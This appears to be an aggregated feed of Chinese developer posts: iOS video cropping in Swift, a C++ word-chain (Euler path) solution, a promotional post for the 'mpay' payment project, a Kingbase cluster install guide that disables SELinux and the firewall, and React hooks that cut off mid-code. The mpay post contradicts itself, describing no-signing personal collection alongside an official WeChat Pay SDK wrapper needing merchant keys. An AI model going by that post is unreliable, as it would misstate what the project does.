        // 6. 创建视频指令
        let instruction = AVMutableVideoCompositionInstruction()
        instruction.timeRange = CMTimeRange(start: .zero, duration: asset.duration)
        
        let layerInstruction = AVMutableVideoCompositionLayerInstruction(assetTrack: compositionVideoTrack!)
        
        // 设置裁剪区域
        let transform = CGAffineTransform(translationX: -cropRect.origin.x, y: -cropRect.origin.y)
        layerInstruction.setTransform(transform, at: .zero)
        
        instruction.layerInstructions = [layerInstruction]
        videoComposition.instructions = [instruction]
        
        // 7. 导出视频
        let documentsPath = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0] as NSString
        let outputPath = documentsPath.appendingPathComponent("cropped_video.mov")
        let outputURL = URL(fileURLWithPath: outputPath)
        
        // 删除已存在的文件(如果存在)
        if FileManager.default.fileExists(atPath: outputPath) {
            try? FileManager.default.removeItem(at: outputURL)
        }
        
        let exporter = AVAssetExportSession(asset: composition, presetName: AVAssetExportPresetHighestQuality)
        exporter?.outputURL = outputURL
        exporter?.outputFileType = .mov
        exporter?.videoComposition = videoComposition
        
        exporter?.exportAsynchronously {
            DispatchQueue.main.async {
                if exporter?.status == .completed {
                    completion(outputURL)
                } else {
                    print("导出失败: \(exporter?.error?.localizedDescription ?? "未知错误")")
                    completion(nil)
                }
            }
        }
    }
    
    // 保存视频到相册
    func saveVideoToPhotoLibrary(url: URL) {
        PHPhotoLibrary.shared().performChanges({
            PHAssetChangeRequest.creationRequestForAssetFromVideo(atFileURL: url)
        }) { success, error in
            if success {
                print("视频已保存到相册")
            } else if let error = error {
                print("保存视频到相册失败: \(error.localizedDescription)")
            }
        }
    }
}

代码说明

  1. 裁剪区域

    • cropRect 定义了裁剪的区域,xy 是裁剪的起始点,widthheight 是裁剪的尺寸。
  2. 视频轨道和音频轨道

    • 使用 AVMutableComposition 将原始视频的轨道插入到新的组合中。
  3. 视频指令

    • 使用 AVMutableVideoCompositionInstructionAVMutableVideoCompositionLayerInstruction 设置裁剪区域的变换。
  4. 导出视频

    • 使用 AVAssetExportSession 将裁剪后的视频导出到文件。
  5. 保存到相册

    • 使用 PHPhotoLibrary 将裁剪后的视频保存到相册。

运行结果

  1. 视频将从指定区域裁剪。
  2. 裁剪后的视频会保存到相册。
  3. 控制台会输出裁剪后的视频文件路径。

注意事项

  • 确保原始视频的分辨率和裁剪区域是合理的,否则可能会导致黑边或变形。
  • 如果视频较大,导出操作可能需要一些时间。
  • Info.plist 中添加相册访问权限:
    <key>NSPhotoLibraryAddUsageDescription</key>
    <string>我们需要保存视频到相册</string>
    

通过这种方式,你可以使用 AVFoundation 实现视频的精确裁剪。


裁剪时长

在iOS中,使用Swift来拍摄视频并裁剪视频大小,涉及到两个主要的步骤:

  1. 拍摄视频:通过UIImagePickerController或者AVCaptureSession来拍摄视频。
  2. 裁剪视频大小:利用AVAssetAVAssetExportSession来裁剪视频的大小。

下面是实现这两个步骤的代码示例:

1. 使用UIImagePickerController拍摄视频

首先,你需要请求相机权限,并使用UIImagePickerController来拍摄视频。

import UIKit
import AVFoundation

class ViewController: UIViewController, UIImagePickerControllerDelegate, UINavigationControllerDelegate {
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 检查是否有摄像头权限
        checkCameraPermission()
    }
    
    func checkCameraPermission() {
        AVCaptureDevice.requestAccess(for: .video) { response in
            if response {
                // 可以访问摄像头
                self.recordVideo()
            } else {
                // 没有权限
                print("Camera access denied")
            }
        }
    }
    
    func recordVideo() {
        let imagePicker = UIImagePickerController()
        imagePicker.sourceType = .camera
        imagePicker.mediaTypes = ["public.movie"]
        imagePicker.delegate = self
        present(imagePicker, animated: true, completion: nil)
    }
    
    // 处理视频选取完成后的回调
    func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) {
        if let videoURL = info[UIImagePickerController.InfoKey.mediaURL] as? URL {
            print("Video URL: \(videoURL)")
            
            // 处理裁剪视频
            self.trimVideo(videoURL: videoURL)
        }
        picker.dismiss(animated: true, completion: nil)
    }
    
    // 处理视频裁剪
    func trimVideo(videoURL: URL) {
        let asset = AVAsset(url: videoURL)
        let startTime = CMTime(seconds: 5, preferredTimescale: 600)  // 从第5秒开始
        let duration = CMTime(seconds: 10, preferredTimescale: 600)  // 视频裁剪的持续时间为10秒
        
        let trimmedAsset = AVAsset(url: videoURL)
        let trimmedVideoURL = getDocumentsDirectory().appendingPathComponent("trimmedVideo.mp4")
        
        let exportSession = AVAssetExportSession(asset: trimmedAsset, presetName: AVAssetExportPresetHighestQuality)
        exportSession?.outputURL = trimmedVideoURL
        exportSession?.outputFileType = .mp4
        exportSession?.timeRange = CMTimeRangeMake(start: startTime, duration: duration)
        
        exportSession?.exportAsynchronously {
            switch exportSession?.status {
            case .completed:
                print("Video trimming successful!")
                print("Trimmed video URL: \(trimmedVideoURL)")
            case .failed:
                print("Video trimming failed: \(exportSession?.error?.localizedDescription ?? "")")
            default:
                break
            }
        }
    }
    
    // 获取文件保存路径
    func getDocumentsDirectory() -> URL {
        let paths = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)
        return paths[0]
    }
}

说明:

  • 录制视频:我们通过UIImagePickerController来拍摄视频,选取的媒体类型为public.movie,允许拍摄视频。
  • 裁剪视频:使用AVAsset来加载选中的视频,通过AVAssetExportSession裁剪视频。这里裁剪的是从视频的第5秒到第15秒(裁剪10秒的视频)。输出为.mp4格式。
  • 保存视频:裁剪后的视频保存到文档目录。

注意事项:

  • 确保在Info.plist中配置了摄像头和麦克风权限:
    • NSCameraUsageDescription:描述为何需要使用相机。
    • NSMicrophoneUsageDescription:描述为何需要使用麦克风。
  • 根据需要调整裁剪的视频起始时间和持续时间。

这种方法适用于在简单的视频录制和裁剪需求场景下。

by ZRD1112 at January 25, 2025 08:52 AM

juejin backend

P1127 词链 | C++

一、问题分析

形式化描述

给定 <semantics>n<annotation encoding="application/x-tex">n</annotation></semantics>n 个单词,每个单词可以看作边:

<semantics>edge(w):(first(w))(last(w)).<annotation encoding="application/x-tex">\text{edge}(w): \text{(first(w))} \to \text{(last(w))}.</annotation></semantics>edge(w):(first(w))(last(w)).

其中 <semantics>first(w)<annotation encoding="application/x-tex">\text{first}(w)</annotation></semantics>first(w) 为单词 <semantics>w<annotation encoding="application/x-tex">w</annotation></semantics>w 的首字母对应的节点,<semantics>last(w)<annotation encoding="application/x-tex">\text{last}(w)</annotation></semantics>last(w) 为其末字母对应的节点。

我们希望把这些边在图中依次走完且每条边恰好用一次,形成一个欧拉路径(或欧拉回路),并且在所有可能的欧拉路径中,按单词依次连接出的结果字符串字典序最小。

欧拉路径存在条件

在一个有向图中,存在欧拉路径(一次遍历所有边且只用一次)的必要且充分条件如下:

  1. 整个有向图中所有有边的顶点连通性: 若把有向图视作无向图后,所有包含边的顶点在同一个连通分量里(忽略孤立点)。
  2. 节点入度和出度的限制
    • 要么所有节点的入度 <semantics>=<annotation encoding="application/x-tex">=</annotation></semantics>= 出度(这时存在欧拉回路,也是一种欧拉路径);
    • 要么正好有一个节点满足 <semantics>outdegree=indegree+1<annotation encoding="application/x-tex">\text{outdegree} = \text{indegree} + 1</annotation></semantics>outdegree=indegree+1(它将成为起点),一个节点满足 <semantics>indegree=outdegree+1<annotation encoding="application/x-tex">\text{indegree} = \text{outdegree} + 1</annotation></semantics>indegree=outdegree+1(它将成为终点),其余所有节点满足入度 <semantics>=<annotation encoding="application/x-tex">=</annotation></semantics>= 出度。

若不满足上述条件,则欧拉路径不存在,也就不可能把所有单词排成一个满足题意的链,应输出 ***

字典序最小的欧拉路径

  1. 边排序:将每个顶点的出边按照单词的字典序从小到大排序。
  2. 字典序优先遍历:在 Hierholzer 算法求欧拉路径的过程中,始终按顶点剩余出边里字典序最小的边优先走,就能得到最终的欧拉路径在单词序列层面也是字典序最小的。
  3. 栈模拟:可以用一个栈来模拟具体实现,详见下文。

二、算法思路与实现步骤

以下假设英文字母只会是 'a' 到 'z',用 <semantics>ID(c)=ca<annotation encoding="application/x-tex">\text{ID}(c) = c - 'a'</annotation></semantics>ID(c)=ca 做节点编号(0 ~ 25)。

1. 读入与建图

  1. 读入 <semantics>n<annotation encoding="application/x-tex">n</annotation></semantics>n 个单词 <semantics>w<annotation encoding="application/x-tex">w</annotation></semantics>w
  2. <semantics>u=ID(w[0])<annotation encoding="application/x-tex">u = \text{ID}(w[0])</annotation></semantics>u=ID(w[0]), <semantics>v=ID(w[len(w)1])<annotation encoding="application/x-tex">v = \text{ID}(w[\text{len}(w) - 1])</annotation></semantics>v=ID(w[len(w)1])
  3. 更新出度和入度:
    • <semantics>outdeg[u]++<annotation encoding="application/x-tex">\text{outdeg}[u]++</annotation></semantics>outdeg[u]++,
    • <semantics>indeg[v]++<annotation encoding="application/x-tex">\text{indeg}[v]++</annotation></semantics>indeg[v]++
  4. 在邻接表 <semantics>adj[u]<annotation encoding="application/x-tex">\text{adj}[u]</annotation></semantics>adj[u] 中插入一条记录 <semantics>(w,v)<annotation encoding="application/x-tex">(w, v)</annotation></semantics>(w,v),记录出边指向的节点 <semantics>v<annotation encoding="application/x-tex">v</annotation></semantics>v 以及边对应单词 <semantics>w<annotation encoding="application/x-tex">w</annotation></semantics>w

2. 排序每个节点的出边

对每个 <semantics>u[0..25]<annotation encoding="application/x-tex">u \in [0..25]</annotation></semantics>u[0..25],将 <semantics>adj[u]<annotation encoding="application/x-tex">\text{adj}[u]</annotation></semantics>adj[u] 按照单词 <semantics>w<annotation encoding="application/x-tex">w</annotation></semantics>w 的字典序从小到大排序。这样在后续寻路时,总能优先取最小的单词。

3. 检查欧拉路径存在条件

统计:

  • <semantics>cntStart<annotation encoding="application/x-tex">\text{cntStart}</annotation></semantics>cntStart = 节点个数中满足 <semantics>outdeg[i]=indeg[i]+1<annotation encoding="application/x-tex">\text{outdeg}[i] = \text{indeg}[i] + 1</annotation></semantics>outdeg[i]=indeg[i]+1 的个数;
  • <semantics>cntEnd<annotation encoding="application/x-tex">\text{cntEnd}</annotation></semantics>cntEnd = 节点个数中满足 <semantics>indeg[i]=outdeg[i]+1<annotation encoding="application/x-tex">\text{indeg}[i] = \text{outdeg}[i] + 1</annotation></semantics>indeg[i]=outdeg[i]+1 的个数;
  • <semantics>cntOthers<annotation encoding="application/x-tex">\text{cntOthers}</annotation></semantics>cntOthers = 节点个数中满足 <semantics>indeg[i]outdeg[i]>1<annotation encoding="application/x-tex">|\text{indeg}[i] - \text{outdeg}[i]| > 1</annotation></semantics>indeg[i]outdeg[i]>1 的个数。

满足:

  • 要么 <semantics>cntStart=1cntEnd=1cntOthers=0<annotation encoding="application/x-tex">\text{cntStart} = 1 \land \text{cntEnd} = 1 \land \text{cntOthers} = 0</annotation></semantics>cntStart=1cntEnd=1cntOthers=0(有向图欧拉“开放”路径);
  • 要么 <semantics>cntStart=0cntEnd=0cntOthers=0<annotation encoding="application/x-tex">\text{cntStart} = 0 \land \text{cntEnd} = 0 \land \text{cntOthers} = 0</annotation></semantics>cntStart=0cntEnd=0cntOthers=0(有向图欧拉回路)。

否则输出 *** 并结束。

4. 确定起点

  • 若存在节点 <semantics>i<annotation encoding="application/x-tex">i</annotation></semantics>i 满足 <semantics>outdeg[i]=indeg[i]+1<annotation encoding="application/x-tex">\text{outdeg}[i] = \text{indeg}[i] + 1</annotation></semantics>outdeg[i]=indeg[i]+1,那么必须从该 <semantics>i<annotation encoding="application/x-tex">i</annotation></semantics>i 出发(欧拉开放路径)。
  • 否则在所有有出边的节点里,取最小编号(对应最小字母)的一个作为起点(欧拉回路场景时任取一个有出边的节点即可,但要拿字母最小的,以保证后续路径字典序也最优)。

5. 连通性检查(忽略方向)

  • 要求所有用到的字母节点(出度或入度 <semantics>><annotation encoding="application/x-tex">></annotation></semantics>> 0)都在同一个连通分量里。
  • 构造无向邻接表,并在任意一个有出/入边的节点上做 DFS/BFS,统计能到达的节点数目。
  • 如果尚有其他节点也有出/入度但无法访问到,则说明图不连通,输出 ***

6. Hierholzer 算法找字典序最小欧拉路径

  1. 定义一个栈 <semantics>st<annotation encoding="application/x-tex">\text{st}</annotation></semantics>st,存放当前行进中的节点;另一个栈 <semantics>edgeStack<annotation encoding="application/x-tex">\text{edgeStack}</annotation></semantics>edgeStack 用来记录“使用了哪条边(单词)”。
  2. 初始时 <semantics>st.push(start)<annotation encoding="application/x-tex">\text{st.push(start)}</annotation></semantics>st.push(start)
  3. <semantics>st<annotation encoding="application/x-tex">\text{st}</annotation></semantics>st 不为空时:
    • <semantics>v=st.top()<annotation encoding="application/x-tex">v = \text{st.top()}</annotation></semantics>v=st.top()
    • 如果 <semantics>adj[v]<annotation encoding="application/x-tex">\text{adj}[v]</annotation></semantics>adj[v] 还有未使用的出边:
      • <semantics>adj[v]<annotation encoding="application/x-tex">\text{adj}[v]</annotation></semantics>adj[v] 中字典序最小的一条 <semantics>(word,nxt)<annotation encoding="application/x-tex">(\text{word}, \text{nxt})</annotation></semantics>(word,nxt),将其“弹出”或标记已使用;
      • <semantics>st.push(nxt)<annotation encoding="application/x-tex">\text{st.push(nxt)}</annotation></semantics>st.push(nxt)
      • <semantics>edgeStack.push(word)<annotation encoding="application/x-tex">\text{edgeStack.push(word)}</annotation></semantics>edgeStack.push(word)(表示我们走了这个单词的边)。
    • <semantics>adj[v]<annotation encoding="application/x-tex">\text{adj}[v]</annotation></semantics>adj[v] 全部用完:
      • <semantics>st.pop()<annotation encoding="application/x-tex">\text{st.pop()}</annotation></semantics>st.pop()
      • 如果此时 <semantics>edgeStack<annotation encoding="application/x-tex">\text{edgeStack}</annotation></semantics>edgeStack 非空,则将 <semantics>edgeStack.top()<annotation encoding="application/x-tex">\text{edgeStack.top()}</annotation></semantics>edgeStack.top() 加入结果序列 <semantics>euler<annotation encoding="application/x-tex">\text{euler}</annotation></semantics>euler,并 <semantics>edgeStack.pop()<annotation encoding="application/x-tex">\text{edgeStack.pop()}</annotation></semantics>edgeStack.pop()
  4. 循环结束后,<semantics>euler<annotation encoding="application/x-tex">\text{euler}</annotation></semantics>euler 中的单词顺序会是逆序(因为最后弹出的边是最先加入序列)。逆序一下得到真正的从头到尾的顺序。
  5. 如果最终得到的单词序列 <semantics>euler.size()<annotation encoding="application/x-tex">\text{euler.size()}</annotation></semantics>euler.size() 恰好是 <semantics>n<annotation encoding="application/x-tex">n</annotation></semantics>n,则成功,否则说明不连通或还有边没用掉,输出 ***

7. 输出结果

  • <semantics>euler.size()=n<annotation encoding="application/x-tex">\text{euler.size()} = n</annotation></semantics>euler.size()=n,将其用 . 连接起来输出;
  • 否则输出 ***

三、代码示例(C++)

#include <bits/stdc++.h>
using namespace std;

inline int letterID(char c) { return c - 'a'; }

int main() {
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    int n;
    cin >> n;

    vector<pair<string, int>> adj[26];
    vector<int> indeg(26, 0), outdeg(26, 0);

    vector<string> words(n);
    for (int i = 0; i < n; i++) {
        cin >> words[i];
        int u = letterID(words[i].front());
        int v = letterID(words[i].back());
        outdeg[u]++;
        indeg[v]++;
        adj[u].push_back({words[i], v});
    }

    for (int i = 0; i < 26; i++) {
        sort(adj[i].begin(), adj[i].end(), [](auto &a, auto &b) {
            return a.first < b.first;
        });
    }

    int cntStart = 0, cntEnd = 0, cntOthers = 0;
    int startNode = -1;
    for (int i = 0; i < 26; i++) {
        int diff = outdeg[i] - indeg[i];
        if (diff == 1) {
            cntStart++;
            startNode = i;
        } else if (diff == -1) {
            cntEnd++;
        } else if (diff != 0) {
            cntOthers++;
        }
    }

    if (!((cntStart == 1 && cntEnd == 1) || (cntStart == 0 && cntEnd == 0)) || cntOthers > 0) {
        cout << "***\n";
        return 0;
    }

    if (cntStart == 0) {
        for (int i = 0; i < 26; i++) {
            if (outdeg[i] > 0) {
                startNode = i;
                break;
            }
        }
    }

    vector<vector<int>> undirected(26);
    for (int i = 0; i < 26; i++) {
        for (auto &edge : adj[i]) {
            int j = edge.second;
            undirected[i].push_back(j);
            undirected[j].push_back(i);
        }
    }

    int startCheck = -1;
    for (int i = 0; i < 26; i++) {
        if ((indeg[i] + outdeg[i]) > 0) {
            startCheck = i;
            break;
        }
    }

    vector<bool> visited(26, false);
    if (startCheck != -1) {
        queue<int> q;
        q.push(startCheck);
        visited[startCheck] = true;
        while (!q.empty()) {
            int u = q.front();
            q.pop();
            for (int v : undirected[u]) {
                if (!visited[v]) {
                    visited[v] = true;
                    q.push(v);
                }
            }
        }
    }

    for (int i = 0; i < 26; i++) {
        if ((indeg[i] + outdeg[i]) > 0 && !visited[i]) {
            cout << "***\n";
            return 0;
        }
    }

    stack<int> st;
    stack<string> edgeStack;
    vector<int> idx(26, 0);

    st.push(startNode);
    vector<string> euler;
    euler.reserve(n);

    while (!st.empty()) {
        int v = st.top();
        if (idx[v] < (int)adj[v].size()) {
            auto &e = adj[v][idx[v]];
            idx[v]++;
            st.push(e.second);
            edgeStack.push(e.first);
        } else {
            st.pop();
            if (!edgeStack.empty()) {
                euler.push_back(edgeStack.top());
                edgeStack.pop();
            }
        }
    }

    if ((int)euler.size() != n) {
        cout << "***\n";
        return 0;
    }

    reverse(euler.begin(), euler.end());

    for (int i = 0; i < n; i++) {
        if (i > 0) cout << ".";
        cout << euler[i];
    }
    cout << "\n";

    return 0;
}

四、复杂度与适用范围

  • <semantics>n1000<annotation encoding="application/x-tex">n \leq 1000</annotation></semantics>n1000,每个单词长度最多 20。
  • 时间复杂度
    • 建图和排序每个节点的出边耗时 <semantics>O(nlogn)<annotation encoding="application/x-tex">O(n \log n)</annotation></semantics>O(nlogn)
    • 连通性检查 <semantics>O(26+n)<annotation encoding="application/x-tex">O(26 + n)</annotation></semantics>O(26+n)
    • Hierholzer 算法本身是 <semantics>O(n)<annotation encoding="application/x-tex">O(n)</annotation></semantics>O(n)
  • 空间复杂度<semantics>O(n)<annotation encoding="application/x-tex">O(n)</annotation></semantics>O(n)

本解法足够应付题目给出的上限。


小结

核心是将「每个单词」视为有向边,做出度、入度与连通性检查,确定起点,然后用字典序优先的欧拉路径算法来得到答案。

  • 若路径不存在或者无法用完所有单词,就输出 ***
  • 否则将得到的欧拉路径按单词顺序输出并用 . 连接。

by NatsuiroGinga at January 25, 2025 08:51 AM

mpay: 真的找到啦,后台一直有同学想要解决个人免签收款的问题,这款专注于个人免签收款,轻量级且高效的支付解决方案

嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法

mpay是一个基于微信支付官方SDK封装的库,旨在简化微信支付的集成过程,让开发者能够更加专注于业务逻辑的开发。它支持微信公众号支付、扫码支付、小程序支付等多种支付场景,无论你是电商网站还是线下实体店,mpay都能满足你的需求。

核心功能

  1. 多种支付方式:mpay支持微信公众号支付、扫码支付、小程序支付等多种支付方式,覆盖了几乎所有的微信支付场景。
  2. 简洁的API接口:通过高度封装,mpay提供了简洁易用的API接口,开发者无需深入理解复杂的微信支付协议,即可快速实现支付功能。
  3. 全面的错误处理:mpay内置了完善的错误处理机制,能够及时捕获并反馈支付过程中可能出现的各种异常,确保交易的稳定性和安全性。
  4. 灵活的配置选项:mpay允许开发者根据自身需求灵活配置支付参数,如支付结果通知URL、签名类型等,以适应不同的业务场景。

业务架构

应用场景

电商网站

对于电商网站而言,集成mpay可以大幅提升用户的支付体验。用户无需跳转至其他页面,即可在微信公众号或小程序内完成订单支付,从而提高转化率。

线下实体店

线下实体店同样可以从mpay中获益。通过扫码支付功能,顾客只需打开微信扫描商家提供的二维码,即可快速完成支付,大大缩短了结账时间,提升了店铺的运营效率。

移动应用

集成mpay,让应用内支付更加便捷。

环境搭建

首先,你需要下载并安装mpay项目。以下是具体步骤:

  1. 访问项目链接:mpay项目
  2. 克隆项目到本地:
git clone https://gitee.com/technical-laohu/mpay.git

3. 安装依赖:

pip install -r requirements.txt

快速入门

以下是一个简单的支付示例:

from mpay import Mpay

# 初始化支付对象
mpay = Mpay(appid='your_appid', mch_id='your_mch_id', api_key='your_api_key')

# 创建支付订单
order = mpay.create_order(body='商品描述', out_trade_no='1234567890', total_fee=100)

# 发起支付请求
pay_url = mpay.pay(order)

# 输出支付链接
print('支付链接:', pay_url)

高级功能

mpay还提供了查询订单、关闭订单、申请退款等高级功能。以下是一个查询订单的示例:

# 查询订单
order_info = mpay.query_order(out_trade_no='1234567890')

# 输出订单信息
print('订单信息:', order_info)

项目效果

同类项目对比

在微信支付集成领域,除了mpay之外,还有一些其他的开源项目,如EasyWeChatOvertrue/WeChat。这些项目同样提供了丰富的微信支付功能,但在易用性和灵活性方面,mpay无疑具有一定的优势。

EasyWeChat

EasyWeChat是一个功能全面的微信开发工具包,除了支付功能外,还涵盖了消息管理、菜单管理等多个方面。如果你需要一个一站式解决方案,EasyWeChat可能是一个不错的选择。

Overtrue/WeChat

Overtrue/WeChat则更加专注于微信支付功能的实现,提供了简洁的API接口。与mpay相比,两者在功能上相似,但在使用体验上可能存在差异,这取决于开发者的个人偏好。

PayPal SDK

PayPal提供的官方SDK,支持多种编程语言,适用于全球范围内的支付处理。

Stripe

一个国际化的支付平台,提供简洁的API和强大的功能,适用于全球支付场景。

Square

提供多种支付解决方案,包括POS系统和移动支付,适用于零售业和服务业。

这些项目各有特点,开发者可以根据自己的需求选择合适的支付解决方案。

结语

mpay以其简洁的API接口和灵活的配置选项,为开发者提供了高效的微信支付集成方案。无论你是初涉电商领域的创业者,还是寻求提升支付体验的实体店主,mpay都能帮助你轻松应对微信支付的挑战。现在就开始探索mpay,让你的业务在移动支付时代焕发新的活力吧!

项目地址

https://gitee.com/technical-laohu/mpay

by 小华同学ai at January 25, 2025 08:48 AM

kingbase一主一从一备份集群安装

本文章适用于v8r6、v9r1

  • 演示电脑 mac air m2
  • 演示系统 Fedora-Server-dvd-aarch64-40-1.14
  • 演示版本数据库版本 v8r6

由于博主电脑是are架构,使用x86的电脑请选择正确的系统版本和数据库版本,步骤一致。

服务器类型
192.168.66.152
192.168.66.153
192.168.66.154备份
192.168.66.155虚拟ip

虚拟ip 不是真实的服务器,是创建在主节点的一个虚拟网卡,连接虚拟ip会自动转发到主节点。

前置设置

所有服务器创建kingbase用户,关闭ESlinux,关闭防火墙

useradd kingbase
passwd kingbase
[输入kingbase密码]

下载数据库镜像

download.kingbase.com.cn/xzzx/index.…
选择合适的版本以及系统,点击下载

img.png

单机安装

这部分在192.168.66.152服务器上操作,单机安装是为了获取db.zip,db.zip是集群安装的安装包

  • 将下载的数据库iso文件传输到192.168.66.152服务器上进行挂载
su root
mkdir /home/kingbase/iso
mount -o loop \
KingbaseES_V008R006C008B0020_Aarch64_in2stall.iso \
/home/kingbase/iso
  • 使用kingbase用户运行 /home/kingbase/iso/setup.sh
su kingbase
/home/kingbase/iso/setup.sh

img_1.png 之后按照底下步骤输入,直到安装完成

条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
条款 :<ENTER>
是否同意条款 : y
输入“安装集”的号码,或按 <ENTER> 键以接受缺省值:<ENTER>
文件路径 : <ENTER>
选择安装目录:/home/kingbase/v8r6
安装文件夹为: /home/kingbase/v8r6 是否正确?:y
请按 <ENTER> 键继续: <ENTER>
按 <ENTER> 键进行安装:<ENTER>
选择存储数据的文件夹:<ENTER>
端口 (默认﹕ 54321):<ENTER>
User (默认﹕ system): <ENTER>
请输入密码: 请输入密码:123456
请再次输入密码: 请再次输入密码:123456
输入您选择的号码,或按 <ENTER> 键以接受缺省值:<ENTER>
输入您选择的号码,或按 <ENTER> 键以接受缺省值: <ENTER>
输入您选择的号码,或按 <ENTER> 键以接受缺省值: <ENTER>
输入您选择的号码,或按 <ENTER> 键以接受缺省值: <ENTER>
输入您选择的号码,或按 <ENTER> 键以接受缺省值: <ENTER>
输入您选择的号码,或按 <ENTER> 键以接受缺省值: <ENTER>
Custom (默认﹕  ): <ENTER>
数据库即将被安装,需要花费一些时间,请耐心等待。请按 <ENTER> 键继续: <ENTER>
按 <ENTER> 键以退出安装程序: <ENTER>
  • 备份 /home/kingbase/v8r6/KESRealPro/V008R006C008B0020/ClientTools/guitools/DeployTools/zip/db.zip

  • 卸载镜像,删除单机安装

su root
umount /home/kingbase/iso
rm -rf /home/kingbase/v8r6/*
  • 把db.zip复制到所有服务器的/home/kingbase/v8r6/kingbase

集群安装

  • 解压 所有服务器的/home/kingbase/v8r6/kingbase/db.zip
unzip /home/kingbase/v8r6/kingbase/db.zip
chown -R kingbase:kingbase /home/kingbase/v8r6
#使用 root 用户在每个节点执行
/home/kingbase/v8r6/kingbase/bin/sys_HAscmdd.sh init 
/home/kingbase/v8r6/kingbase/bin/sys_HAscmdd.sh start 

lsof -t -i :8890 
#输出进程号即启动成功
#如果没有输出进程号使用journalctl -u securecmdd.service查看日志,看是不是少了什么库,再安装一下
  • 主服务器(192.168.66.152)编辑install.conf
vim /home/kingbase/v8r6/kingbase/bin/install.conf

# 修改 [install]部分
# 需要部署的节点
# all_ip=(192.168.66.152 192.168.66.153) 
# 见证节点时
# witness_ip="192.168.66.152"
# 安装路径
# install_dir="/home/kingbase/v8r6"
# 设置虚拟ip
# virtual_ip="192.168.66.155/24"
# 虚拟ip依赖设置,net_device可以在服务器上使用ifconfig查看网卡名称,net_device_ip与all_ip一致
# net_device=(ens160 ens160)
# net_device_ip=(192.168.66.152 192.168.66.153)
# 使用sshd部署(即手动复制db.zip)
# deploy_by_sshd=0
# 信任服务器
# trusted_servers="192.168.66.152 192.168.66.153 192.168.66.155"
  • 主服务器(192.168.66.152)执行下面语句进行安装
# 集群安装
sh /home/kingbase/v8r6/kingbase/bin/cluster_install.sh

小插曲1
如果显示输入密码,同步服务器的 /home/root/.es/accept_hosts和/home/kingbase/.es/accept_hosts

小插曲2
看输出日志提示vip设置失败,可以查看cat /home/kingbase/v8r6/kingbase/etc/repmgr.conf 文件 net_device和net_device_ip是否为null 在cluster_install.sh脚本中,有这么一段 image.png 把/home/kingbase/v8r6/kingbase/bin/install.conf中的配置net_device_ip和net_device同步到/home/kingbase/v8r6/kingbase/etc/repmgr.conf 中,但是脚本有bug,第一台服务器没有同步成功。

手动查看all_ip中的全部机器的repmgr.conf net_device_ip和net_device是否正确,修改后192.168.66.152执行 /home/kingbase/v8r6/kingbase/bin/repmgr primary register --superuser system

  • 集群集群
#除备份服务器外,可使用kingbase用户以下指令进行停止、启动、重启
/home/kingbase/v8r6/kingbase/bin/sys_monitor.sh stop
/home/kingbase/v8r6/kingbase/bin/sys_monitor.sh start
/home/kingbase/v8r6/kingbase/bin/sys_monitor.sh restart

更新中

遇到难搞的问题可以提供有偿服务。

集群添加服务器

这里先把192.168.66.154(备份服务器)作为节点进行演示

集群移除服务器

这里先把192.168.66.154(备份服务器)作为节点进行演示

添加备份服务器

替换 license

by JCAdam at January 25, 2025 08:30 AM

juejin frontend

N 个值得一看的前端Hooks

笔者总结一些工作中常用的Hooks,非常值得一看

useMount

useMount 不是 React 官方提供的 Hook,而是一个常见的自定义 Hook,通常用于执行组件首次渲染时的副作用。

它的主要作用是模拟 componentDidMount 生命周期方法——也就是在组件第一次渲染完成后执行某些代码。你可以将 useEffect 配合空数组 [] 来实现类似的功能,但是 useMount 是一种封装,提供了更简洁的语法。

以下是一个简单的 useMount 实现示例:

function useMount(callback) {
  if (typeof callback !== "function") {
    throw new Error("callback must be a function");
  }

  useEffect(() => {
    callback();
  }, []);
}

useUnmount

useUnmount 是一个类似于 useMount 的自定义 Hook,通常用于在组件卸载时执行某些清理操作。它相当于模拟 componentWillUnmount 生命周期方法,即在组件从 DOM 中移除时触发的副作用。

React 本身并没有提供 useUnmount,但是你可以通过结合 useEffect 来实现这个功能。通常我们使用 useEffect 的清理函数来处理组件卸载时的逻辑。

以下是一个简单的 useUnmount 实现示例:

function useUnmount(cb) {
  if (typeof cb !== "function") {
    throw new Error("callback must be a function");
  }

  useEffect(() => {
    return () => {
      cb?.();
    };
  }, []);
}

useDebounce

useDebounce 是一个自定义的 React Hook,用来处理输入或其他事件的防抖(debouncing)操作。防抖的基本思路是,只有在事件停止触发一段时间后才执行某个操作。这对于减少频繁的 API 请求、搜索框输入的实时请求、滚动监听等非常有用。

在没有防抖的情况下,用户每次输入都会立即触发一次操作(例如网络请求),这可能会导致性能问题。而使用防抖可以确保只有在用户停止输入一段时间后,才进行实际的处理,从而减少不必要的操作。

以下是一个简单的 useDebounce 实现示例:

function useDebounce(value, delay = 500) {
  const [debouncedValue, setDebouncedValue] = React.useState(value);

  React.useEffect(() => {
    const timer = setTimeout(() => {
      setDebouncedValue(value);
    }, delay);

    return () => {
      clearTimeout(timer);
    };
  }, [value, delay]);

  return debouncedValue;
}

useThrottle

useThrottle 是一个自定义的 React Hook,用于 限制函数的调用频率。它的作用是使某个函数在特定时间内只能执行一次,而无论该函数被调用多少次。这个概念通常称为 节流(throttling) ,它主要用于优化性能,尤其是在用户频繁触发某些操作时,比如滚动事件、输入框的内容变化、窗口大小调整等。

什么时候使用 useThrottle

  • 滚动事件:用户滚动页面时,可能会触发很多次事件,而你只希望在一定时间内响应一次滚动。
  • 窗口大小调整:调整窗口大小时,频繁触发 resize 事件,使用节流可以减少不必要的重新计算。
  • 输入框输入:当用户输入时,频繁触发 onChange 事件,节流可以减少每次输入后的处理次数,避免过度渲染。

以下是一个简单的 useThrottle 实现示例:

useThrottle(value, interval = 500) {
  const [throttledValue, setThrottledValue] = React.useState(value);
  const lastUpdated = React.useRef(null);

  React.useEffect(() => {
    const now = Date.now();

    // 如果上次更新时间存在且当前时间大于等于上次更新时间加上间隔时间
    if (lastUpdated.current && now >= lastUpdated.current + interval) {
      lastUpdated.current = now;
      setThrottledValue(value);
    } else {
